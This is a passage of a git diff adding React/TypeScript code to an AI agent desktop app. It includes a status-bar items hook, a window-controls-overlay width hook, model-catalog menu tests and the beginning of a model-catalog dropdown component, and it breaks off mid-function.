+  // EMPTY_USAGE (module constant) keeps the fallback referentially stable —
+  // a fresh `{...}` each render would bust the usage-label memos below.
+  const currentUsage = primaryFocused ? primaryUsage : (focusedUsage ?? EMPTY_USAGE)
+
+  const turnStartedAt = primaryFocused ? primaryTurnStartedAt : focusedTurnStartedAt
+
+  // A tile's session-start + cold cwd come from its stored row (the cache only
+  // knows runtime state). Only these scalars are read off `$sessions`, so
+  // select them — a whole-list `useStore` re-ran the hook on every session-list
+  // write (title updates, poll refreshes, archives).
+  const focusedRowStartedAt = useStoreSelector($sessions, sessions =>
+    focusedStoredSessionId
+      ? (sessions.find(s => sessionMatchesStoredId(s, focusedStoredSessionId))?.started_at ?? null)
+      : null
+  )
+
+  const focusedRowCwd = useStoreSelector($sessions, sessions => {
+    if (!focusedStoredSessionId) {
+      return ''
+    }
+
+    const row = sessions.find(s => sessionMatchesStoredId(s, focusedStoredSessionId))
+
+    return row?.cwd?.trim() || ''
+  })
+
+  // Live runtime cwd is authoritative once it belongs to the focused chat
+  // (agent can relocate mid-turn). Until then — cold tabs, mid-switch lag —
+  // the stored session row is the selection's project. Primary drafts fall
+  // through to `$currentCwd`. A focused TILE must never inherit the primary's
+  // workspace — an empty tile cwd stays empty rather than lying about another
+  // project's path.
+  //
+  // Lineage match is a pure derivation of ($sessions + the two ids). Select it
+  // so a session-list write only re-renders when the answer actually flips —
+  // not on every title/archive refresh of an unrelated row.
+  const liveCwdSharesFocusLineage = useStoreSelector($sessions, sessions => {
+    if (!focusedStoredSessionId || !focusedStateStoredId) {
+      return false
+    }
+
+    return idsShareLineage(focusedStoredSessionId, focusedStateStoredId, sessions)
+  })
+
+  const liveCwdBelongsToFocus =
+    Boolean(focusedStateCwd) &&
+    (!focusedStoredSessionId ||
+      !focusedStateStoredId ||
+      focusedStateStoredId === focusedStoredSessionId ||
+      liveCwdSharesFocusLineage)
+
+  const currentCwd = (
+    (liveCwdBelongsToFocus ? focusedStateCwd : '') ||
+    focusedRowCwd ||
+    (primaryFocused ? primaryCwd : '') ||
+    ''
+  ).trim()
+
+  // Derive the workspace's project name from the already-cached project tree
+  // (backend truth via projects.*), so the status item labels by project without
+  // a second per-session copy of the same fact. Re-derives whenever the cwd or
+  // the tree changes; null (no named project) falls back to the cwd leaf below.
+  const projectTree = useStore($projectTree)
+  const projectName = useMemo(() => projectNameForCwd(currentCwd), [currentCwd, projectTree])
+
+  const sessionStartedAt = primaryFocused
+    ? primarySessionStartedAt
+    : focusedRowStartedAt
+      ? focusedRowStartedAt * 1000
+      : null
+
+  const contextUsage = useMemo(() => usageContextLabel(currentUsage), [currentUsage])
+  const contextBar = useMemo(() => contextBarLabel(currentUsage), [currentUsage])
+
+  const publishContextUsage = useCallback(
+    (snapshot: Pick<UsageStats, 'context_max' | 'context_percent' | 'context_used'>) => {
+      setCurrentUsage(current => ({ ...current, ...snapshot }))
+    },
+    []
+  )
+
+  const approvalModeItem = useApprovalModeStatusbarItem(activeGatewayProfile, requestGateway)
+
+  const gatewayMenuContent = useMemo(
+    () => (close: () => void) => (
+      <GatewayMenuPanel
+        gatewayState={gatewayState}
+        inferenceStatus={inferenceStatus}
+        onClose={close}
+        onOpenSystem={() => openCommandCenterSection('system')}
+        statusSnapshot={statusSnapshot}
+      />
+    ),
+    [gatewayState, inferenceStatus, openCommandCenterSection, statusSnapshot]
+  )
+
+  const gatewayOpen = gatewayState === 'open'
+  const gatewayConnecting = gatewayState === 'connecting'
+  const inferenceReady = gatewayOpen && inferenceStatus?.ready === true
+  const gatewayDegraded = gatewayOpen || gatewayConnecting
+
+  const gatewayDetail = gatewayOpen
+    ? inferenceStatus?.ready
+      ? copy.gatewayReady
+      : inferenceStatus
+        ? copy.gatewayNeedsSetup
+        : copy.gatewayChecking
+    : gatewayConnecting
+      ? copy.gatewayConnecting
+      : copy.gatewayOffline
+
+  const gatewayClassName = inferenceReady
+    ? undefined
+    : gatewayDegraded
+      ? 'text-amber-600 hover:text-amber-600'
+      : 'text-destructive hover:text-destructive'
+
+  const clientVersionItem = useMemo<StatusbarItem>(() => {
+    const applying = updateApply.applying || updateApply.stage === 'restart'
+
+    const status = resolveVersionStatus({
+      applying,
+      applyMessage: updateApply.message,
+      behind: updateStatus?.behind ?? 0,
+      branch: updateStatus?.branch,
+      copy,
+      remote: connection?.mode === 'remote',
+      restarting: updateApply.stage === 'restart',
+      sha: updateStatus?.currentSha?.slice(0, 7) ?? null,
+      target: 'client',
+      version: desktopVersion?.appVersion
+    })
+
+    return {
+      className: status.hasUpdate ? 'text-primary hover:text-primary' : undefined,
+      detail: status.detail,
+      hidden: status.unknown,
+      icon: applying ? <Loader2 className="size-3 animate-spin" /> : <Hash className="size-3" />,
+      id: 'version-client',
+      label: status.label,
+      // Update state is not a preference: hiding it is how a user misses that
+      // their client is behind. Listed in the menu, but locked on.
+      lockedVisible: true,
+      onSelect: () => openUpdateOverlayFor('client'),
+      title: status.tooltip,
+      toggleLabel: copy.toggleVersion,
+      variant: 'action'
+    }
+  }, [
+    desktopVersion?.appVersion,
+    connection?.mode,
+    copy,
+    updateApply.applying,
+    updateApply.message,
+    updateApply.stage,
+    updateStatus?.behind,
+    updateStatus?.branch,
+    updateStatus?.currentSha
+  ])
+
+  const backendVersionItem = useMemo<StatusbarItem | null>(() => {
+    if (connection?.mode !== 'remote') {
+      return null
+    }
+
+    const applying = backendUpdateApply.applying || backendUpdateApply.stage === 'restart'
+
+    const status = resolveVersionStatus({
+      applying,
+      applyMessage: backendUpdateApply.message,
+      behind: backendUpdateStatus?.behind ?? 0,
+      copy,
+      remote: true,
+      restarting: backendUpdateApply.stage === 'restart',
+      target: 'backend',
+      updateAvailable: backendUpdateStatus?.updateAvailable,
+      version: statusSnapshot?.version
+    })
+
+    return {
+      className: status.hasUpdate ? 'text-primary hover:text-primary' : undefined,
+      hidden: status.unknown,
+      icon: applying ? <Loader2 className="size-3 animate-spin" /> : <Hash className="size-3" />,
+      id: 'version-backend',
+      label: status.label,
+      lockedVisible: true,
+      onSelect: () => openUpdateOverlayFor('backend'),
+      title: status.tooltip,
+      toggleLabel: copy.toggleBackendVersion,
+      variant: 'action'
+    }
+  }, [
+    connection?.mode,
+    statusSnapshot?.version,
+    backendUpdateStatus?.behind,
+    backendUpdateStatus?.updateAvailable,
+    backendUpdateApply.applying,
+    backendUpdateApply.message,
+    backendUpdateApply.stage,
+    copy
+  ])
+
+  const connectionItem = useMemo<StatusbarItem | null>(() => {
+    if (connection?.mode !== 'remote' || !connection.remoteHost) {
+      return null
+    }
+
+    const ssh = connection.remoteKind === 'ssh'
+    const cloud = connection.remoteKind === 'cloud'
+
+    return {
+      className: cn(
+        'px-2 -ml-1 font-medium',
+        ssh ? 'bg-primary text-primary-foreground' : 'bg-accent text-accent-foreground'
+      ),
+      icon: <Terminal className="size-3" />,
+      id: 'connection',
+      label: ssh
+        ? copy.connectionSsh(connection.remoteHost)
+        : cloud
+          ? copy.connectionCloud(connection.remoteHost)
+          : copy.connectionRemote(connection.remoteHost),
+      // Label already names the host — no "click to manage" tip lecture.
+      to: `${SETTINGS_ROUTE}?tab=gateway`
+    }
+  }, [connection?.mode, connection?.remoteHost, connection?.remoteKind, copy])
+
+  const coreLeftStatusbarItems = useMemo<readonly StatusbarItem[]>(
+    () => [
+      ...(connectionItem ? [connectionItem] : []),
+      {
+        className: `w-7 justify-center px-0${commandCenterOpen ? ' bg-accent/55 text-foreground' : ''}`,
+        icon: <Command className="size-3.5" />,
+        id: 'command-center',
+        // The system icon: the way into every other surface, including the
+        // settings that would bring a hidden item back. Never hideable.
+        lockedVisible: true,
+        onSelect: toggleCommandCenter,
+        title: commandCenterOpen ? copy.closeCommandCenter : copy.openCommandCenter,
+        toggleLabel: copy.toggleCommandCenter,
+        variant: 'action'
+      },
+      {
+        className: gatewayRestarting ? undefined : gatewayClassName,
+        detail: gatewayRestarting ? copy.gatewayRestarting : gatewayDetail,
+        icon: gatewayRestarting ? (
+          <GlyphSpinner ariaLabel={copy.gatewayRestarting} className="size-3" />
+        ) : inferenceReady ? (
+          <Activity className="size-3" />
+        ) : (
+          <AlertCircle className="size-3" />
+        ),
+        id: 'gateway-health',
+        label: copy.gateway,
+        menuClassName: 'w-72',
+        menuContent: gatewayMenuContent,
+        // Tip only when there's a real status reason — not "gateway status" restating the label.
+        title: inferenceStatus?.reason || undefined,
+        toggleLabel: copy.gateway,
+        variant: 'menu'
+      },
+      {
+        hidden: !currentCwd,
+        icon: <FolderOpen className="size-3" />,
+        id: 'workspace-cwd',
+        // Prefer the named project; fall back to the cwd leaf. Hover tip uses
+        // the shared display formatter (home → ~) so statusbar and branch bar
+        // agree on how a path looks.
+        label: projectName || (currentCwd ? pathLeaf(currentCwd) : undefined),
+        menuItems: currentCwd
+          ? [
+              {
+                id: 'copy-workspace-path',
+                label: fileMenu.copyPath,
+                onSelect: () => void copyFilePath(currentCwd),
+                title: displayPath(currentCwd)
+              },
+              {
+                id: 'reveal-workspace-finder',
+                label: fileMenu.revealFileManager,
+                onSelect: () => void revealFile(currentCwd),
+                title: displayPath(currentCwd)
+              },
+              {
+                id: 'reveal-workspace-sidebar',
+                label: fileMenu.revealInSidebar,
+                onSelect: () => revealFileInTree(currentCwd),
+                title: displayPath(currentCwd)
+              }
+            ]
+          : undefined,
+        title: currentCwd ? displayPath(currentCwd) : undefined,
+        toggleLabel: copy.toggleWorkspace,
+        variant: 'menu'
+      },
+      {
+        className: cn(
+          agentsOpen && 'bg-accent/55 text-foreground',
+          subagentsFailed > 0 && 'text-destructive hover:text-destructive'
+        ),
+        detail:
+          subagentsRunning > 0
+            ? copy.subagents(subagentsRunning)
+            : subagentsFailed > 0
+              ? copy.failed(subagentsFailed)
+              : undefined,
+        icon:
+          subagentsFailed > 0 ? (
+            <AlertCircle className="size-3" />
+          ) : subagentsRunning > 0 ? (
+            <Loader2 className="size-3 animate-spin" />
+          ) : (
+            <Codicon name="hubot" size="0.75rem" />
+          ),
+        id: 'agents',
+        label: copy.agents,
+        onSelect: openAgents,
+        title: agentsOpen ? copy.closeAgents : copy.openAgents,
+        toggleLabel: copy.agents,
+        variant: 'action'
+      },
+      {
+        icon: <Clock className="size-3" />,
+        id: 'cron',
+        label: copy.cron,
+        to: CRON_ROUTE,
+        toggleLabel: copy.cron,
+        variant: 'action'
+      },
+      {
+        icon: <Globe className="size-3" />,
+        id: 'webhooks',
+        label: copy.webhooks,
+        to: WEBHOOKS_ROUTE,
+        toggleLabel: copy.webhooks,
+        variant: 'action'
+      }
+    ],
+    [
+      agentsOpen,
+      commandCenterOpen,
+      connectionItem,
+      copy,
+      currentCwd,
+      fileMenu.copyPath,
+      fileMenu.revealFileManager,
+      fileMenu.revealInSidebar,
+      gatewayMenuContent,
+      gatewayClassName,
+      gatewayDetail,
+      gatewayRestarting,
+      inferenceReady,
+      inferenceStatus?.reason,
+      openAgents,
+      projectName,
+      subagentsFailed,
+      subagentsRunning,
+      toggleCommandCenter
+    ]
+  )
+
+  const coreRightStatusbarItems = useMemo<readonly StatusbarItem[]>(
+    () => [
+      {
+        detail: <LiveDuration since={turnStartedAt} />,
+        hidden: !busy || !turnStartedAt,
+        icon: <Loader2 className="size-3 animate-spin" />,
+        id: 'running-timer',
+        label: copy.turnRunning,
+        toggleLabel: copy.toggleRunningTimer,
+        variant: 'text'
+      },
+      {
+        detail: contextBar || undefined,
+        hidden: !contextUsage,
+        id: 'context-usage',
+        label: contextUsage,
+        menuAlign: 'end',
+        menuClassName: 'w-auto border-(--ui-stroke-secondary) p-0',
+        menuContent: (
+          <ContextUsagePanel
+            currentUsage={currentUsage}
+            onUsageSnapshot={publishContextUsage}
+            requestGateway={requestGateway}
+            sessionId={activeSessionId}
+          />
+        ),
+        toggleLabel: copy.toggleContextUsage,
+        variant: 'menu'
+      },
+      {
+        detail: <LiveDuration since={sessionStartedAt} />,
+        hidden: !sessionStartedAt,
+        id: 'session-timer',
+        label: copy.session,
+        toggleLabel: copy.toggleSessionTimer,
+        variant: 'text'
+      },
+      {
+        ...approvalModeItem,
+        hidden: gatewayState !== 'open',
+        toggleLabel: copy.toggleApprovalMode
+      },
+      {
+        actionId: 'view.showTerminal',
+        className: `w-7 justify-center px-0${terminalShowing ? ' bg-accent/55 text-foreground' : ''}`,
+        hidden: !chatOpen,
+        icon: <Terminal className="size-3.5" />,
+        id: 'terminal',
+        onSelect: () => togglePaneVisible('terminal'),
+        title: terminalShowing ? copy.hideTerminal : copy.showTerminal,
+        toggleLabel: copy.toggleTerminal,
+        variant: 'action'
+      },
+      clientVersionItem,
+      ...(backendVersionItem ? [backendVersionItem] : [])
+    ],
+    [
+      activeSessionId,
+      approvalModeItem,
+      backendVersionItem,
+      busy,
+      chatOpen,
+      clientVersionItem,
+      contextBar,
+      contextUsage,
+      copy,
+      currentUsage,
+      publishContextUsage,
+      requestGateway,
+      sessionStartedAt,
+      gatewayState,
+      terminalShowing,
+      turnStartedAt
+    ]
+  )
+
+  const leftStatusbarItems = useMemo(
+    () => [...coreLeftStatusbarItems, ...extraLeftItems],
+    [coreLeftStatusbarItems, extraLeftItems]
+  )
+
+  const statusbarItems = useMemo(
+    () => [...extraRightItems, ...coreRightStatusbarItems],
+    [coreRightStatusbarItems, extraRightItems]
+  )
+
+  return { leftStatusbarItems, statusbarItems }
+}
diff --git a/ui-desktop/src/app/shell/hooks/use-window-controls-overlay-width.ts b/ui-desktop/src/app/shell/hooks/use-window-controls-overlay-width.ts
new file mode 100644
index 000000000..f2411f995
--- /dev/null
+++ b/ui-desktop/src/app/shell/hooks/use-window-controls-overlay-width.ts
@@ -0,0 +1,68 @@
+import { useEffect, useState } from 'react'
+
+// Measure the EXACT width of the native window-controls overlay (min/max/close)
+// straight from the browser, instead of a hardcoded reservation.
+//
+// When Electron's Window Controls Overlay is active (native Windows AND WSLg),
+// Chromium exposes `navigator.windowControlsOverlay`. Its getTitlebarAreaRect()
+// returns the draggable title-bar rect that EXCLUDES the controls, so the
+// controls' width on the right is `innerWidth - rect.right`. This is precise and
+// self-correcting across DPI / host themes / window states — no magic numbers,
+// and it sidesteps the WSLg-vs-Windows footprint guesswork.
+//
+// Returns null when WCO is unavailable (macOS, plain Linux, or before first
+// layout), so callers fall back to the static reservation from the main process.
+
+interface WindowControlsOverlayLike {
+  visible: boolean
+  getTitlebarAreaRect: () => DOMRect
+  addEventListener: (type: 'geometrychange', cb: () => void) => void
+  removeEventListener: (type: 'geometrychange', cb: () => void) => void
+}
+
+const overlay = () =>
+  (navigator as Navigator & { windowControlsOverlay?: WindowControlsOverlayLike }).windowControlsOverlay ?? null
+
+function measure(wco: WindowControlsOverlayLike | null): number | null {
+  const rect = wco?.visible ? wco.getTitlebarAreaRect() : null
+
+  // No overlay, or it isn't laid out yet.
+  if (!rect?.width) {
+    return null
+  }
+
+  const width = Math.round(window.innerWidth - rect.right)
+
+  return width > 0 ? width : null
+}
+
+/**
+ * Live width (px) of the right-side native window-controls overlay, or null when
+ * the platform/build exposes no overlay (caller should use the static fallback).
+ */
+export function useWindowControlsOverlayWidth(): number | null {
+  const [width, setWidth] = useState<number | null>(() => measure(overlay()))
+
+  useEffect(() => {
+    const wco = overlay()
+
+    if (!wco) {
+      return
+    }
+
+    const update = () => setWidth(measure(wco))
+
+    // Re-measure on overlay geometry changes (maximize/restore, DPI) and on
+    // window resize (innerWidth feeds the calc).
+    wco.addEventListener('geometrychange', update)
+    window.addEventListener('resize', update)
+    update()
+
+    return () => {
+      wco.removeEventListener('geometrychange', update)
+      window.removeEventListener('resize', update)
+    }
+  }, [])
+
+  return width
+}
diff --git a/ui-desktop/src/app/shell/model-catalog-menu.test.tsx b/ui-desktop/src/app/shell/model-catalog-menu.test.tsx
new file mode 100644
index 000000000..519400311
--- /dev/null
+++ b/ui-desktop/src/app/shell/model-catalog-menu.test.tsx
@@ -0,0 +1,108 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { DropdownMenu, DropdownMenuContent } from '@/components/ui/dropdown-menu'
+import {
+  $modelVisibilityOpen,
+  $visibleModels,
+  modelVisibilityKey,
+  setModelVisibilityOpen,
+  setVisibleModels
+} from '@/store/model-visibility'
+
+import { ModelCatalogMenu, type ModelMenuController } from './model-catalog-menu'
+
+// Radix calls these on open; jsdom doesn't implement them.
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+const getGlobalModelOptions = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getGlobalModelOptions: (...args: unknown[]) => getGlobalModelOptions(...args),
+  setApiRequestProfile: vi.fn()
+}))
+
+beforeEach(() => {
+  $visibleModels.set(null)
+  setModelVisibilityOpen(false)
+  getGlobalModelOptions.mockResolvedValue({
+    providers: [{ models: ['gemini-3.1-pro', 'gemini-2.5-flash'], name: 'Google', slug: 'google' }]
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+// A minimal controller — these tests are about the CATALOG's own behaviour
+// (what it lists, what it offers), not about what any host does with a pick.
+function renderMenu() {
+  const select = vi.fn()
+
+  const controller: ModelMenuController = {
+    applyPreset: vi.fn(),
+    current: { effort: '', fast: false, model: '', provider: '' },
+    presetFor: () => ({}),
+    select,
+    setOptions: vi.fn()
+  }
+
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  render(
+    <QueryClientProvider client={client}>
+      <DropdownMenu open>
+        <DropdownMenuContent>
+          <ModelCatalogMenu controller={controller} />
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </QueryClientProvider>
+  )
+
+  return select
+}
+
+// Curation is ONE global preference, so it belongs to the catalog rather than
+// to whichever surface mounted it. If a host had to opt in, the composer and
+// the kanban board would end up disagreeing about what "my models" means —
+// which is exactly the drift extracting this component was meant to prevent.
+describe('the catalog owns model curation', () => {
+  it('honours the stored Edit Models shortlist', async () => {
+    setVisibleModels(new Set([modelVisibilityKey('google', 'gemini-2.5-flash')]))
+
+    renderMenu()
+
+    await screen.findByText(/Gemini 2\.5 Flash/i)
+    expect(screen.queryByText(/Gemini 3\.1 Pro/i)).toBeNull()
+  })
+
+  it('still finds a hidden model by search — curation narrows the default view, not the catalog', async () => {
+    setVisibleModels(new Set([modelVisibilityKey('google', 'gemini-2.5-flash')]))
+
+    renderMenu()
+    await screen.findByText(/Gemini 2\.5 Flash/i)
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+
+    fireEvent.change(input, { target: { value: 'gemini-3.1' } })
+
+    await vi.waitFor(() => {
+      expect(screen.queryByText(/Gemini 3\.1 Pro/i)).not.toBeNull()
+    })
+  })
+
+  it('offers Edit Models without the host wiring it up', async () => {
+    renderMenu()
+    await screen.findByText(/Gemini 3\.1 Pro/i)
+
+    fireEvent.click(screen.getByText('Edit Models…'))
+
+    expect($modelVisibilityOpen.get()).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/app/shell/model-catalog-menu.tsx b/ui-desktop/src/app/shell/model-catalog-menu.tsx
new file mode 100644
index 000000000..6b71126ca
--- /dev/null
+++ b/ui-desktop/src/app/shell/model-catalog-menu.tsx
@@ -0,0 +1,589 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { createContext, type ReactNode, useContext, useEffect, useMemo, useRef, useState } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { Codicon } from '@/components/ui/codicon'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import {
+  DropdownMenuGroup,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  dropdownMenuRow,
+  DropdownMenuSearch,
+  dropdownMenuSectionLabel,
+  DropdownMenuSeparator,
+  DropdownMenuSub,
+  DropdownMenuSubTrigger
+} from '@/components/ui/dropdown-menu'
+import { HighlightMatches } from '@/components/ui/highlight-matches'
+import { usePointerQuiet } from '@/components/ui/keyboard-first'
+import { Skeleton } from '@/components/ui/skeleton'
+import { useI18n } from '@/i18n'
+import { modelOptionsQueryKey, requestModelOptions } from '@/lib/model-options'
+import { displayModelName, modelDisplayParts } from '@/lib/model-status-label'
+import { DEFAULT_REASONING_EFFORT, reasoningEffortLabel } from '@/lib/reasoning-effort'
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import {
+  $visibleModels,
+  collapseModelFamilies,
+  DEFAULT_VISIBLE_PER_PROVIDER,
+  effectiveVisibleKeys,
+  type ModelFamily,
+  modelVisibilityKey,
+  setModelVisibilityOpen
+} from '@/store/model-visibility'
+import { $collapsedProviders, toggleCollapsedProvider } from '@/store/provider-collapse'
+import { $defaultReasoningEffort } from '@/store/session'
+import type { ModelOptionProvider, ModelOptionsResponse } from '@/types/clawcodex'
+
+import { type FastControl, ModelEditSubmenu, resolveFastControl } from './model-edit-submenu'
+
+// Lets the host dropdown (model-pill, a kanban field trigger, …) hand the panel
+// a way to dismiss itself so clicking a model row commits + closes, while the
+// hover-revealed edit submenu (reasoning/fast) stays open to play with (its
+// items preventDefault on select).
+export const ModelMenuCloseContext = createContext<() => void>(() => {})
+
+/** One model choice, everything a caller needs to act on a selection.
+ *  `effort` is '' for "inherit the default" and 'none' for thinking off. */
+export interface ModelChoice {
+  effort: string
+  fast: boolean
+  model: string
+  provider: string
+}
+
+/**
+ * What a surface DOES with the catalog. The menu renders and navigates; the
+ * controller owns meaning — the composer writes through to a live session,
+ * the kanban override just holds a value in dialog state.
+ *
+ * `presetFor` supplies the remembered settings shown on a non-active row.
+ * Returning `{}` is fine — the row then shows ClawCodex' defaults.
+ */
+export interface ModelMenuController {
+  /** Restore a model's remembered settings after it is selected. Separate from
+   *  `setOptions` because it is one atomic "apply this model's preset" write,
+   *  not a user editing one control — surfaces that write through to a session
+   *  need to batch it. Values are already capability-gated by the menu. */
+  applyPreset: (preset: { effort?: string; fast?: boolean }, row: { model: string; provider: string }) => void
+  current: ModelChoice
+  presetFor: (provider: string, model: string) => { effort?: string; fast?: boolean }
+  /** Commit a model row. Return false to abort (a failed session switch). */
+  select: (model: string, provider: string) => Promise<boolean | void> | void
+  /** Edit ONE option on a row. `isActive` says whether it's the current model. */
+  setOptions: (
+    patch: { effort?: string; fast?: boolean },
+    row: { isActive: boolean; model: string; provider: string }
+  ) => void
+}
+
+interface ModelCatalogMenuProps {
+  controller: ModelMenuController
+  /** Rows appended under the catalog (Refresh Models, Edit Models, …). */
+  footer?: ReactNode
+  gateway?: ClawCodexGateway
+  /** Render the virtual `moa` provider's presets as a selectable section.
+   *  Off for override surfaces, where a MoA preset isn't a worker model. */
+  includeMoa?: boolean
+  profile?: string
+  /** Session whose catalog to fetch. A live session's catalog can differ from
+   *  the profile-global one, and the app invalidates the SESSION-scoped query
+   *  key on model changes — a surface bound to a session must pass it or its
+   *  menu goes stale. Detached surfaces (per-task overrides) omit it. */
+  sessionId?: null | string
+}
+
+interface ProviderGroup {
+  families: ModelFamily[]
+  provider: ModelOptionProvider
+}
+
+/**
+ * THE model catalog menu: searchable, provider-grouped, `-fast` families
+ * collapsed to one row, per-row hover submenu for thinking/effort/fast, full
+ * keyboard selection. Shared verbatim by the composer's model pill and by
+ * plugin surfaces that pick a model without a session behind it — so the two
+ * can never drift apart.
+ */
+export function ModelCatalogMenu({
+  controller,
+  footer,
+  gateway,
+  includeMoa = false,
+  profile = 'default',
+  sessionId = null
+}: ModelCatalogMenuProps) {
+  const { t } = useI18n()
+  const copy = t.shell.modelMenu
+  const closeMenu = useContext(ModelMenuCloseContext)
+  const [search, setSearch] = useState('')
+  const collapsedProviders = useStoreCollapsed()
+  const defaultEffort = useDefaultEffort()
+  // Which models the user curated in Edit Models. Read HERE rather than taken
+  // as a prop: it's one global preference, so every surface that shows a
+  // catalog must show the same shortlist. A per-caller opt-in is how the board
+  // and the composer would end up disagreeing about what "my models" means.
+  const visibleModels = useStore($visibleModels)
+
+  const modelOptions = useQuery({
+    queryKey: modelOptionsQueryKey(profile, sessionId),
+    // Gateway-first even with no session: a connected (possibly remote)
+    // gateway owns the model catalog, including virtual providers the local
+    // REST fallback can't know about (#53817).
+    queryFn: (): Promise<ModelOptionsResponse> => requestModelOptions({ gateway, sessionId })
+  })
+
+  const loading = modelOptions.isPending && !modelOptions.data
+
+  const error = modelOptions.error
+    ? modelOptions.error instanceof Error
+      ? modelOptions.error.message
+      : String(modelOptions.error)
+    : null
+
+  const providers = modelOptions.data?.providers
+
+  // The catalog carries MoA presets as a virtual `moa` provider row. Keep it
+  // out of the main groups so presets never show up twice.
+  const moaPresets = useMemo(
+    () => (includeMoa ? (providers?.find(p => p.slug.toLowerCase() === 'moa')?.models ?? []) : []),
+    [providers, includeMoa]
+  )
+
+  const pickerProviders = useMemo(
+    () => providers?.filter(provider => provider.slug.toLowerCase() !== 'moa') ?? [],
+    [providers]
+  )
+
+  const current = controller.current
+
+  // Resolve visibility HERE, against the catalog we actually fetched: an empty
+  // provider list would otherwise resolve to an empty key set that reads as
+  // "user hid everything" and blanks the menu on first open.
+  const shownKeys = useMemo(
+    () => effectiveVisibleKeys(visibleModels, pickerProviders),
+    [visibleModels, pickerProviders]
+  )
+
+  const groups = useMemo(
+    () => groupModels(pickerProviders, search, { model: current.model, provider: current.provider }, shownKeys),
+    [pickerProviders, search, current.model, current.provider, shownKeys]
+  )
+
+  const q = normalize(search)
+
+  // Presets are searchable rows like everything else — an unfiltered preset
+  // sitting under zero model matches would otherwise become the "first match"
+  // Enter commits.
+  const shownMoaPresets = useMemo(
+    () => (q ? moaPresets.filter(preset => `moa ${preset}`.toLowerCase().includes(q)) : moaPresets),
+    [moaPresets, q]
+  )
+
+  const selectFamily = async (family: ModelFamily, provider: ModelOptionProvider) => {
+    const caps = provider.capabilities?.[family.id]
+    const preset = controller.presetFor(provider.slug, family.id)
+
+    // Variant-fast models (no speed param) express "fast" as a separate `-fast`
+    // id, so honor the remembered preset by selecting that sibling. Param-fast
+    // is applied through setOptions below instead.
+    const variantFast = !(caps?.fast ?? false) && !!family.fastId
+    const targetId = variantFast && preset.fast === true ? family.fastId! : family.id
+
+    if ((await controller.select(targetId, provider.slug)) === false) {
+      return
+    }
+
+    controller.applyPreset(
+      {
+        effort: (caps?.reasoning ?? true) ? (preset.effort ?? defaultEffort) : undefined,
+        fast: (caps?.fast ?? false) ? (preset.fast ?? false) : undefined
+      },
+      { model: family.id, provider: provider.slug }
+    )
+  }
+
+  const selectMoaPreset = async (preset: string) => {
+    if ((await controller.select(preset, 'moa')) === false) {
+      return
+    }
+
+    closeMenu()
+  }
+
+  // ── Keyboard selection (cmdk semantics on a Radix menu) ───────────────────
+  // One flat list mirroring EXACTLY what's rendered (collapse, filter, presets),
+  // so the selection can never sit on a hidden row.
+  type KbRow =
+    | { family: ModelFamily; key: string; kind: 'family'; provider: ModelOptionProvider }
+    | { key: string; kind: 'moa'; preset: string }
+
+  const kbRows = useMemo<KbRow[]>(
+    () => [
+      ...groups.flatMap(group =>
+        collapsedProviders.includes(group.provider.slug) && !search
+          ? []
+          : group.families.map((family): KbRow => ({
+              family,
+              key: `${group.provider.slug}:${family.id}`,
+              kind: 'family',
+              provider: group.provider
+            }))
+      ),
+      ...shownMoaPresets.map((preset): KbRow => ({ key: `moa:${preset}`, kind: 'moa', preset }))
+    ],
+    [groups, collapsedProviders, search, shownMoaPresets]
+  )
+
+  const [kbOverride, setKbOverride] = useState<null | number>(null)
+  // A parked cursor is not a cursor in use: until the mouse actually moves,
+  // hover can't take rows out from under the keyboard.
+  const pointerQuiet = usePointerQuiet()
+
+  const currentKey = current.provider === 'moa' ? `moa:${current.model}` : `${current.provider}:${current.model}`
+
+  const autoIndex = q
+    ? kbRows.length > 0
+      ? 0
+      : -1
+    : kbRows.findIndex(row => row.key === currentKey || (row.kind === 'family' && row.family.fastId === current.model))
+
+  const kbIndex = kbOverride !== null && kbOverride < kbRows.length ? kbOverride : autoIndex
+  const kbActiveKey = kbIndex >= 0 ? kbRows[kbIndex].key : null
+
+  const stepKb = (delta: -1 | 1) => {
+    if (kbRows.length === 0) {
+      return
+    }
+
+    const from = kbIndex >= 0 ? kbIndex : delta === 1 ? -1 : 0
+
+    setKbOverride((from + delta + kbRows.length) % kbRows.length)
+  }
+
+  const commitKbRow = () => {
+    const row = kbIndex >= 0 ? kbRows[kbIndex] : undefined
+
+    if (!row) {
+      return
+    }
+
+    if (row.kind === 'moa') {
+      void selectMoaPreset(row.preset)
+
+      return
+    }
+
+    if (row.key !== currentKey && row.family.fastId !== current.model) {
+      void selectFamily(row.family, row.provider)
+    }
+
+    closeMenu()
+  }
+
+  // Keep the selected row in view while arrowing through the scrollable list.
+  const listRef = useRef<HTMLDivElement>(null)
+
+  useEffect(() => {
+    listRef.current?.querySelector('[data-kb-active]')?.scrollIntoView({ block: 'nearest' })
+  }, [kbActiveKey])
+
+  const kbRowProps = (key: string) => {
+    const active = kbActiveKey === key
+
+    return {
+      className: cn(dropdownMenuRow, active && 'bg-(--ui-control-active-background) text-foreground'),
+      ...(active ? { 'data-kb-active': '' } : {})
+    }
+  }
+
+  // Rows are hover-selectable, so they go inert with the pointer.
+  const quietRows = pointerQuiet && 'pointer-events-none'
+
+  return (
+    <>
+      <DropdownMenuSearch
+        aria-label={copy.search}
+        onKeyDown={event => {
+          // Claim arrows and Enter from Radix so DOM focus stays in the input
+          // and Enter commits the highlighted row without a DownArrow first.
+          if (event.key === 'ArrowDown' || event.key === 'ArrowUp') {
+            event.preventDefault()
+            event.stopPropagation()
+            stepKb(event.key === 'ArrowDown' ? 1 : -1)
